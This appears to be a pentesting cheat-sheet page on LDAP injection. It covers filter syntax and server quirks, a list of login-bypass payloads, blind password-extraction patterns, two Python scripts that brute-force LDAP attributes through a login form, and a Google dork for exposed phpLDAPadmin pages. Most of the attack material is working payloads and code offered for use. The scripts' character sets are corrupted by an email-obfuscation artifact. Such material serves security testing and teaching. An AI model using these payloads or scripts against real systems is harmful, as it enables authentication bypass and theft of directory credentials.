LDAP Injection

LDAP

LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it's possible to modify LDAP statements using a local proxy.

Ports 389 y 636

Filter = ( filtercomp ) Filtercomp = and / or / not / item And = & filterlist Or = |filterlist Not = ! filter Filterlist = 1*filter Item= simple / present / substring Simple = attr filtertype assertionvalue Filtertype = '=' / '~=' / '>=' / '<=' Present = attr = * Substring = attr ”=” [initial] * [final] Initial = assertionvalue Final = assertionvalue (&) = Absolute TRUE (|) = Absolute FALSE

For example: (&(!(objectClass=Impresoras))(uid=s*)) (&(objectClass=user)(uid=*))

You can access to the database, and this can content information of a lot of different types.

The backups of LDAP uses the extension ldif

OpenLDAP: If 2 filters arrive, only executes the first one. ADAM or Microsoft LDS: With 2 filters they throw an error. SunOne Directory Server 5.0: Execute both filters.

It is very important to send the filter with correct syntax or an error will be thrown. It is better to send only 1 filter.

The filter has to start with: & or | Example: (&(directory=val1)(folder=public))

(&(objectClass=VALUE1)(type=Epson*)) VALUE1 = *)(ObjectClass=*))(&(objectClass=void

Then: (&(objectClass=*)(ObjectClass=*)) will be the first filter (the one executed).

Login Bypass

LDAP supports several formats to store the password: clear, md5, smd5, sh1, ssha, crypt. So, it could be that independently of what you insert inside the password, it is hashed.

user=*password=*--> (&(user=*)(password=*))
user=*)(&password=*)(&--> (&(user=*)(&)(password=*)(&))
user=*)(|(&pass=pwd)--> (&(user=*)(|(&)(pass=pwd))
user=*)(|(password=*password=test)--> (&(user=*)(|(password=*)(password=test))
user=*))%00pass=any--> (&(user=*))%00 --> Nothing more is executed
user=admin)(&)password=pwd--> (&(user=admin)(&))(password=pwd) 
username = admin)(!(&(|pass = any))--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSO then the user is admin and the password check is True.
username=*password=*)(&--> (&(user=*)(password=*)(&))
username=admin))(|(|password=any--> (&(uid=admin)) (| (|) (webpassword=any))

LDAP_FUZZ LDAP Attributes LDAP_authBypass

Blind LDAP Injection

You can iterate over the ascii letters, digits and symbols:

(&(sn=administrator)(password=*))    : OK(&(sn=administrator)(password=A*))   : KO(&(sn=administrator)(password=B*))   : KO...(&(sn=administrator)(password=M*))   : OK(&(sn=administrator)(password=MA*))  : KO(&(sn=administrator)(password=MB*))  : KO...

Scripts

Discover valid LDAP fields

LDAP objects contains by default several attributes that could be used to save information. You can try to brute-force all of them to extract that info. You can find a list of default LDAP attributes here.

import requestsimport stringfrom time import sleepimport sys​proxy = { "http": "localhost:8080" }url = "http://10.10.10.10/login.php"alphabet = string.ascii_letters + string.digits + "[email protected]{}-/()!\"$%=^[]:;"​attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]​for attribute in attributes:     value = ""    finish = False    while not finish:        for char in alphabet:             query = f"*)({attribute}={value}{char}*"            data = {'login':query, 'password':'bla'}            r = requests.post(url, data=data, proxies=proxy)            sys.stdout.write(f"\r{attribute}: {value}{char}")            if "Cannot login" in r.text:                value += str(char)                break            if char == alphabet[-1]:                 finish = True                print()

Special Blind LDAP Injection (without "*")

​import requests, stringalphabet = string.ascii_letters + string.digits + "[email protected]{}-/()!\"$%=^[]:;"​flag = ""for i in range(50):    print("[i] Looking for number " + str(i))    for char in alphabet:        r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)        if ("TRUE CONDITION" in r.text):            flag += char            print("[+] Flag: " + flag)            break

Google Dorks

intitle:"phpLDAPadmin" inurl:cmd.php

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20injection

最后更新于

这有帮助吗?